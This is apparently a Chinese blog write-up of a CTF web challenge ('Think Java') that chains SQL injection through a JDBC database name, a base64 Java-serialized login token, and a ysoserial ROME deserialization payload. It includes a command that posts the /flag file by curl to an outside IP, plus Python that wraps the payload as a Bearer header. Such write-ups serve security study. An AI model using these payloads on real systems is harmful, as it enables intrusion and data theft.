第二届网鼎杯(第三场:朱雀组)Think Java

首先题目给了一些class文件,这些不需要多说,直接jd-gui反编译或者使用fernflower反编译也可以

解题过程

  • 先扫一下目录
    得到swagger-ui.html
    发现几个api接口

  • sql注入得到密码
    在这里插入图片描述源代码中明显存在SQL注入(dbName可控),但是必须满足两个条件,否则不能连接数据库

    • #号在引号里面时当做填充符,没有实际意义(这个只是在jdbc中这样?还没来得及验证)
    • 最终:
      • jdbc:mysql://mysqldbserver:3306/myapp#‘ union select 1#
      • Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema =‘myapp#‘ union select 1# and table_name = ‘xxx’
        在这里插入图片描述在这里插入图片描述这儿的#号对查询没有影响~
    • 查询密码
      在这里插入图片描述
  • 登录获得token
    在这里插入图片描述这个一看就知道是java的序列化后的base64编码(如果以aced则为java序列化后的hex编码)

    然后我们把返回的data值输入到/common/user/current 接口中,则显示操作成功
    在这里插入图片描述所以我们知道会在这个接口中进行java的反序列化

  • getflag
    我们直接用ysoserial来生成反序列化的值
    在这里插入图片描述java -jar ysoserial-0.0.5.jar ROME "curl http://174.1.101.83:555 -d @/flag" > HyyMbb.bin

然后进行编码

import base64
file = open("HyyMbb.bin","rb")
now = file.read()
ba = base64.b64encode(now)
#print(ba)
print("Bearer "+ba.decode('utf-8'))
#可以解注释此段,并注释上一条print,便于快速测试
file.close()

发送数据,在vps上监听555端口就可以获得flag了~~

参考链接
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值